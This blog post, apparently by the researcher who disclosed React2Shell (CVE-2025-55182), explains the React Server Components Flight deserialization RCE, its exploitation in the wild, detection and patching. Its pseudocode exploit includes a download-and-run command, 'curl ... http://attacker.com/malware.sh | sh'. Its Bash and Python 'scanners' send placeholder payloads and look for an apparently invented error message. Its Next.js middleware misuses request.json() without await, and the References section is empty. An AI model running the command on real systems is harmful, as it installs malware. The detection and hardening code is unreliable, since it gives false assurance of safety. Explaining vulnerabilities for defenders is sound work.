React2Shell: Critical RCE in React & Next.js

React2Shell (CVE-2025-55182): A Deep Dive into a Critical React Vulnerability

By Lachlan Davidson
Last Updated: December 4, 2025

Introduction
Background and Timeline
Understanding React2Shell
- What is React2Shell?
- Technical Overview of the Vulnerability
The Impact on React and Next.js Ecosystems
Insecure Deserialization and the Flight Protocol
Real-World Exploitation and Case Studies
Detection and Mitigation Techniques
Advanced Exploitation Techniques and Post-Exploitation Analysis
Addressing False Positives: What Not to Trust
Best Practices for Patching and Hardening
Conclusion
References

Introduction

Over the past few years, the adoption of React and its associated frameworks has surged, powering everything from small web projects to large-scale enterprise applications. With this increase in popularity comes the rising concern of vulnerabilities, especially those that affect critical components of the ecosystem.

On November 29, 2025, I, Lachlan Davidson, responsibly disclosed a devastating vulnerability—React2Shell (CVE-2025-55182)—to the Meta team. This flaw, which affects server-side React implementations, particularly through the React Server Components (RSC) “Flight” protocol, was later patched by the React and Vercel teams on December 3, 2025. This blog post provides an in-depth analysis of the vulnerability from its technical nuances to its real-world exploitation, while also covering best practices for detection and mitigation.

In this post, we will cover:

An explanation of the vulnerability and its severe impact on the ecosystem.
Technical details on why and how the flaw exists.
Real-world case studies of exploitation and post-exploitation behavior.
Practical code samples and scanning commands to help you detect vulnerable instances.
Best practices for patching and hardening your deployments.

Whether you are a security professional, a developer seeking to understand the risks, or an enthusiast exploring modern web technologies, this blog will guide you from beginner-level concepts to advanced exploitation techniques and proactive defenses.

Background and Timeline

The timeline of events is crucial for understanding both the risk management and rapid response that surrounded this incident:

November 29, 2025 (PT): The vulnerability was responsibly disclosed by myself, Lachlan Davidson, to the Meta team.
December 3, 2025 (PT): The React and Vercel teams released initial disclosures accompanied by patches addressing the vulnerability.
December 4, 2025: Various public Proof-of-Concept (PoC) exploit codes began circulating. However, caution was raised about certain “PoCs” that did not truly reflect the core nature of the flaw.
Post Patching and Monitoring: Security researchers such as Wiz Research, Amazon Threat Intelligence, and Datadog have observed exploitation in the wild, with subsequent campaigns targeting public Next.js instances and cloud deployments.

An additional CVE, CVE-2025-66478, was assigned for Next.js due to the vendored inclusion of React, despite being technically a duplicate of CVE-2025-55182. This decision helps vendors and security teams better track dependencies that might otherwise be overlooked by traditional vulnerability scanners.

Understanding React2Shell

What is React2Shell?

React2Shell refers to a critical vulnerability (CVE-2025-55182) in the React Server Components (RSC) environment, specifically affecting the “Flight” protocol. This vulnerability allows for unauthenticated remote code execution (RCE) on the server side due to insecure deserialization practices in the react-server package.

Key attributes of this vulnerability include:

Critical Severity (10.0): Rated as critical due to the ease of exploitation and impact.
Unauthenticated RCE: No authentication is required, meaning that even a simple HTTP request with crafted payloads can compromise your server.
Default Configurations Vulnerable: Standard deployments of Next.js apps (e.g., those created using create-next-app) are susceptible unless explicitly hardened.

Technical Overview of the Vulnerability

The root cause of React2Shell lies in the way the server processes React Server Components (RSC) payloads. Specifically, the deserialization process does not adequately validate the structure of the incoming payloads. An attacker can supply tailored data that, once deserialized, leads to unintended code execution on the server.

Here is a simplified illustration of the flow:

Payload Creation: The attacker constructs a malicious payload that exploits the deserialization logic.
HTTP Request: The payload is sent via a crafted HTTP request to an affected server.
Deserialization and Execution: The server deserializes the payload without proper validation, inadvertently executing attacker-controlled code.
Remote Code Execution: The vulnerable server executes code at the attacker's behest, giving them shell-level access.

Such a flaw is especially dangerous because the default configuration in many applications does not include the kind of input sanitization or exposure limitations that could mitigate this risk.

The Impact on React and Next.js Ecosystems

Why is This Vulnerability So Dangerous?

Widespread Adoption: React and Next.js are among the most popular frameworks in use today. As a result, many sites and applications could be affected.
Ease of Exploitation: A crafted HTTP request is enough to trigger the vulnerability, meaning automated exploitation by attackers is trivial.
High Success Rate: Experiments have indicated near-100% reliability in exploitation efforts under default settings.
Public Exposure: Even environments thought to be isolated might be at risk, especially if they run public Next.js applications. According to recent data, 39% of cloud environments were found to have vulnerable instances, with many being publicly accessible.

The Next.js Exception

Next.js incorporates React as a “vendored” dependency. This means traditional dependency scanners might overlook the vulnerability if they only inspect the manifest file. To address this gap, the additional CVE-2025-66478 was introduced. Although technically a duplicate, this separate identifier helps ensure that those using Next.js are more alert to the embedded risks.

Insecure Deserialization and the Flight Protocol

Insecure Deserialization Explained

Deserialization is the process of converting data from a serialized format (such as JSON or binary data) into an executable object or data structure. Insecure deserialization occurs when:

Validation is Insufficient: The data is not properly checked, allowing malformed or malicious data to pass through.
Execution of Malicious Code: The flawed deserialization allows malicious code to run. In this vulnerability, the deserialization of the RSC payload permits execution of unsanitized code.

The Flight Protocol in RSC

React Server Components use the Flight protocol to exchange data between the server and client efficiently. This optimized protocol, while highly performant, inadvertently introduced a vector for exploitation due to insufficient validation in the react-server package.

When a server receives a Flight request:

The payload is deserialized.
The server interprets the data and maps it to component rendering instructions.
If the payload is manipulated, the server may fulfill instructions that ultimately expose system-level commands or sensitive logic.

Because modern Next.js deployments abstract much of this logic, developers often assume their applications are “safe by default.” Unfortunately, this vulnerability breaks that assumption.

Real-World Exploitation and Case Studies

Exploitation in the Wild

Shortly after the public PoC was published, several automated exploitation campaigns were observed:

Credential Harvesting: Attackers have pivoted from initial exploitation to harvest cloud credentials, environment variables, and file system data.
Cryptomining Activities: In some incidents, attackers installed cryptomining software such as XMRig, often using UPX-packed executables to evade detection.
Post-Exploitation Reconnaissance: Advanced threat actors have used the initial exploit to explore further vulnerabilities and gain persistent access to compromised networks.

Case Study: Next.js on Kubernetes

One notable real-world incident involved a Next.js application deployed on a Kubernetes cluster. In this case, the attacker sent a seemingly harmless HTTP request containing a crafted Flight payload that was processed by the server. Once executed, the payload allowed the attacker to:

Establish a reverse shell.
Access Kubernetes secrets and config maps.
Escalate privileges to access the underlying host.

The chain of events underscored how a vulnerability in a high-level framework like Next.js could lead to deep penetration within a cloud-native environment.

Case Study: Cloud Environment Attacks

Data from Wiz Research indicates that:

39% of cloud environments contained instances of vulnerable Next.js or React applications.
A significant portion of these deployments were publicly accessible, increasing the risk of opportunistic attackers.
Incident reports included attempts to harvest AWS credentials by encoding them in Base64 for exfiltration to remote servers.

These incidents highlight the importance of a comprehensive security posture that not only patches vulnerabilities but also continuously monitors for anomalous behavior.

Detection and Mitigation Techniques

Rapid detection and timely patching are paramount to minimizing the damage of React2Shell exploits. Below are several techniques and sample scripts that security teams can employ to identify vulnerable instances.

Scanning with Bash and cURL

One of the quickest ways to determine if a deployment may be vulnerable is by sending a test HTTP request and analyzing the response for signs of insecure deserialization. The following Bash script utilizes cURL to perform a basic scan:

#!/bin/bash
# Simple Vulnerability Scanner for React2Shell (CVE-2025-55182)
# Replace <target_url> with the URL you want to scan.

TARGET="<target_url>"
PAYLOAD='{"malicious": "payload"}'  # A basic placeholder payload

echo "Scanning $TARGET for React2Shell vulnerability..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")

# Analyze the response for unusual patterns or error messages
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
    echo "Potential vulnerability detected on $TARGET"
else
    echo "No obvious vulnerability found on $TARGET. However, further analysis is recommended."
fi

Note: This script is a rudimentary example. In a production environment, ensure that the payload and response analysis are carefully tailored based on updated threat intelligence and vendor advisories.

Parsing Vulnerability Data with Python

A more robust approach might involve writing a Python script that leverages libraries such as requests for HTTP requests and json for payload handling.

import requests
import json

def scan_target(target_url):
    payload = {"test": "data", "action": "simulate_deserialization"}
    headers = {"Content-Type": "application/json"}
    
    print(f"Scanning {target_url} for React2Shell vulnerability...")
    
    try:
        response = requests.post(target_url, headers=headers, data=json.dumps(payload), timeout=5)
        response_data = response.text
        
        # Check for error messages or abnormal behavior in response
        if "Error processing Flight payload" in response_data:
            print(f"[!] Potential vulnerability detected on {target_url}")
        else:
            print(f"[-] No immediate vulnerability indications on {target_url}.")
    except requests.exceptions.RequestException as e:
        print(f"[-] An error occurred while scanning {target_url}: {e}")

if __name__ == "__main__":
    targets = [
        "https://example.com/api/flight",
        "https://another-example.com/api/flight"
    ]
    
    for target in targets:
        scan_target(target)

This Python script is designed to send controlled payloads to suspected endpoints and parse the responses for signals of insecure deserialization. Enhance the logic as more details on valid vs. invalid responses become available.

Tips for Effective Monitoring

Use Runtime-Level Protection: Many cloud providers have implemented runtime-level protections that could mitigate the exploit even if vulnerable versions are detected.
Monitor Logs for Anomalies: Look for unusual HTTP requests, especially those with odd payloads targeting the Flight endpoint.
Leverage Vulnerability Management Tools: Integrate vulnerability scanners with dashboards to flag systems in need of immediate patching.

Advanced Exploitation Techniques and Post-Exploitation Analysis

For security professionals and penetration testers, understanding the advanced techniques behind exploitation is key to creating effective defensive strategies.

Exploit Development Considerations

When developing a real exploit, several factors must be taken into account:

Payload Crafting: The malicious payload must be properly structured to bypass any basic validations in the Flight protocol but still trigger the insecure deserialization.
Bypassing WAF/Runtime Protections: Some providers rely solely on web application firewall (WAF) rules. However, robust runtime protections might prevent the exploit from executing fully. Understanding this nuance is crucial.
Chaining with Other Vulnerabilities: In some cases, obtaining a shell may be just the first step. Post-exploitation activities might include harvesting cloud credentials or deploying persistent backdoors.

A simplified pseudocode snippet for an in-depth exploit could look like:

// Pseudocode demonstrating payload structure for exploitation
const maliciousPayload = {
  component: "ShellExec",
  args: {
    // Obfuscated commands to evade simple pattern detection
    command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
  },
  _meta: {
    timestamp: Date.now(),
    nonce: Math.random().toString(36).substring(2),
  }
};

// The payload is then serialized and embedded into the Flight protocol
const serializedPayload = JSON.stringify(maliciousPayload);
sendToServer(serializedPayload);

Disclaimer: The above pseudocode is for educational purposes only. Unauthorized exploitation of systems is illegal and unethical.

Post-Exploitation Steps

After a successful exploitation, threat actors might:

Establish a Reverse Shell: Gain an interactive shell on the compromised server.
Harvest Sensitive Data: Extract environment variables, secrets, database credentials, and cloud metadata.
Lateral Movement: Pivot from the affected server to other parts of the network, leveraging the initial access.
Deploy Malicious Software: Install tools such as cryptominers (e.g., XMRig) or remote administration tools to maintain persistence.

Defenders should adopt comprehensive logging and incident response strategies to quickly detect such activities.

Addressing False Positives: What Not to Trust

Since the vulnerability is based on insecure deserialization within the RSC Flight protocol, false positives can occur if scanners detect unrelated insecure functionalities that developers might have explicitly enabled. For example:

vm#runInThisContext
child_process#exec
fs#writeFile

These functions might be used intentionally in some applications, and their presence does not alone indicate a vulnerable state. True exploitation of React2Shell does not rely on these dangerous functions being accessible on the client side. Instead, it leverages the automatic management of server functions by Next.js, meaning the vulnerability exists regardless of whether these functions are explicitly exposed.

Security teams must remain vigilant by:

Cross-referencing scanner outputs with official vendor advisories.
Analyzing logs for evidence of actual exploitation rather than false positives.
Leveraging runtime monitoring to identify abnormal behavior patterns rather than relying solely on static signatures.

Best Practices for Patching and Hardening

Given the immediate risks posed by React2Shell, it is crucial to take swift action if your applications are running in vulnerable environments.

Steps to Immediate Remediation

Review Vendor Advisories: Check the React and Next.js advisories for the latest patch information.
Patch Immediately: Deploy the updated versions (e.g., react-server-dom* versions 19.0.1, 19.1.2, 19.2.1) as soon as possible.
Apply Runtime Protections: Even if patching is not immediately feasible, ensure that your WAF and runtime security measures are enabled and updated to mitigate exploitation.
Monitor for Abnormal Behavior: Use logging and SIEM tools to monitor for unusual deserialization errors or execution patterns.
Engage in Threat Intelligence Sharing: Stay informed by following updates from security research groups such as Wiz Research, GreyNoise, and Amazon Threat Intelligence.

Hardening Guidance for Developers

Input Validation: Even post-patching, ensure any serialized data is rigorously validated.
Limit Exposure of Critical Endpoints: Shield endpoints that handle Flight payloads behind additional security layers.
Regular Auditing: Incorporate regular security reviews in your development lifecycle, utilizing automated dependency scanning and manual code reviews.
Environment Segregation: Separate public-facing applications from internal management interfaces to reduce blast radius in case of exploitation.

Here is an example of how developers might configure middleware in a Next.js project to add an additional layer of input validation:

// Example middleware for Next.js - enhance input sanitization
import { NextResponse } from 'next/server';

export function middleware(request) {
  // Only apply to the Flight endpoint
  if (request.nextUrl.pathname.startsWith('/api/flight')) {
    try {
      const body = request.json();
      // Perform additional validation on the payload
      if (!body || typeof body !== 'object' || !body.component) {
        return new NextResponse('Invalid payload format', { status: 400 });
      }
    } catch (err) {
      return new NextResponse('Error processing request', { status: 400 });
    }
  }
  return NextResponse.next();
}

Conclusion

React2Shell (CVE-2025-55182) is a stark reminder that even widely adopted and trusted frameworks like React and Next.js are not immune to high-severity vulnerabilities. This vulnerability, rooted in insecure deserialization within the RSC “Flight” protocol, has far-reaching implications due to its critical nature, ease of exploitation, and prevalence in default application configurations.

Key takeaways include:

The vulnerability enables unauthenticated remote code execution with minimal effort, posing an acute risk especially in public cloud environments.
Both React and Next.js ecosystems are affected, with the additional CVE-2025-66478 ensuring Next.js users are aware of the embedded risk.
Real-world exploitation has already demonstrated the serious consequences of an unpatched system, emphasizing the need for rapid detection and patching.
False positives can distract from true exploitation signs; it is essential to validate findings against official advisories and monitor runtime behavior.
Always keep your dependencies up-to-date and implement layers of security controls to shield against such vulnerabilities.

By understanding both the technical details of React2Shell and the contextual threat landscape, developers and security professionals can better fortify their applications against this critical vulnerability.

References

This comprehensive guide should empower you with the understanding and tools needed to address React2Shell in its entirety—from technical details of the vulnerability to practical methods for detection and mitigation. Always stay updated with official advisories and continuously refine your security posture as new intelligence emerges.

Happy secure coding!